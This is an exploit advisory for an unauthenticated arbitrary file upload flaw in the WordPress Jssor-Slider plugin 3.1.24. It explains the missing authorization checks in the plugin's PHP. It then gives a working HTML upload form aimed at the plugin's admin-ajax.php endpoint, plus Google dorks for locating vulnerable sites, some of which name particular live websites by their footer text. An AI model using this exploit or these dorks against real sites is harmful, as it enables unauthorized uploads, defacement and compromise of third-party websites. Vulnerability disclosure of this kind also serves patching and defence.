WordPress Jssor-Slider Plugins 3.1.24 CSRF File Upload

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# Exploit Title : WordPress Jssor-Slider Plugins 3.1.24 CSRF Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : jssor.com ~ drcsystems.com ~ ethicsolutions.com
# Software Download Link : downloads.wordpress.org/plugin/jssor-slider.3.1.24.zip
# Software Information Link : wordpress.org/plugins/jssor-slider/
# Software Affected Version : 3.1.24 and previous versions
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/jssor-slider/''
# Vulnerability Type : CWE-284 [ Improper Access Control ] -  CWE-862  [ Missing Authorization ]
# CXSecurity Reference Link : cxsecurity.com/ascii/WLB-2018060226
# Cyberizm Reference Link : cyberizm.org/cyberizm-wordpress-drcsystems-ethicsolutions-jssorslider-exploit.html

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# Description About Software :
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Description : “Jssor Slider by jssor.com” is open source software.

Jssor Slider is professional, light weight and easy to use
slideshow/slider/gallery/carousel/banner, it is optimized for mobile device with tons of unique features.

# Key Features :

Touch Swipe - 200+ Slideshow Transitions - Layer Animation -
Fast Loading, load slider html code from disk cache directly -
High Performance Light Weight - Easy to Use -  Repeated Layer Animation -
Image Layer - Text/Html Layer - Panel Layer - Nested Layer -
Layer Blending - Clip Mask - Multiplex Transition - z-index Animation -
Timeline Break - Dozens of bullet/arrow/thumbnail skins

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# Google Dorks :
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inurl:''/wp-content/jssor-slider/jssor-uploads/''

intext:''Managed by Web development company Ethic Solutions''

intext:''Todos los derechos reservados © Ecuaauto - Distribuidor autorizado Chevrolet Ecuador''

intext:''Website Developed by DRC Systems''

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Vulnerable Source Code  :
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When the plugin is active the function register_ajax_calls() in the file /lib/jssor-slider-class.php is run:

That gives anyone access to two AJAX functions that are only intended to be accessible to those logged in as Administrators.
The upload_library() function accessible through that handles uploading a file through /lib/upload.php.
That file also doesn’t do any checks as to who is making the request and does not restrict what type of files can be uploaded.
It is also possible to exploit this by sending a request directly to the file /lib/upload.php, as long as the undefined constant in that isn’t treated as an error.
The following proof of concept will upload the selected file to the directory /wp-content/jssor-slider/jssor-uploads/.
Make sure to replace “[path to WordPress]” with the location of WordPress.

public function register_ajax_calls() {

	if ( isset( $_REQUEST['action'] ) ) {
		switch ( $_REQUEST['action'] ) {
			case 'add_new_slider_library' :
				add_action( 'admin_init', 'jssor_slider_library' );
				function jssor_slider_library() {

					include_once JSSOR_SLIDER_PATH . '/lib/add-new-slider-class.php';
				}
				break;
			case 'upload_library' :
				add_action( 'admin_init', 'upload_library' );
				function upload_library() {

					include_once JSSOR_SLIDER_PATH . '/lib/upload.php';
				}
				break;
		}
	}
}


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# Exploit  :
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/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library

# Error : {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

# Exploit Code :
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<html>
<body>
<form action="http://[PATH]/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html

# Uploaded File Path :
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/wp-content/jssor-slider/jssor-uploads/.....

# Allowed File Extensions : With the exception of php and asp. [ Not Allowed ]

But other files extensions are allowed. For example html and txt and etcetra....

# Usage : Use with XAMPP Control Panel and with your Localhost [ 127.0.0.1]

localhost/jssorsliderexploiter.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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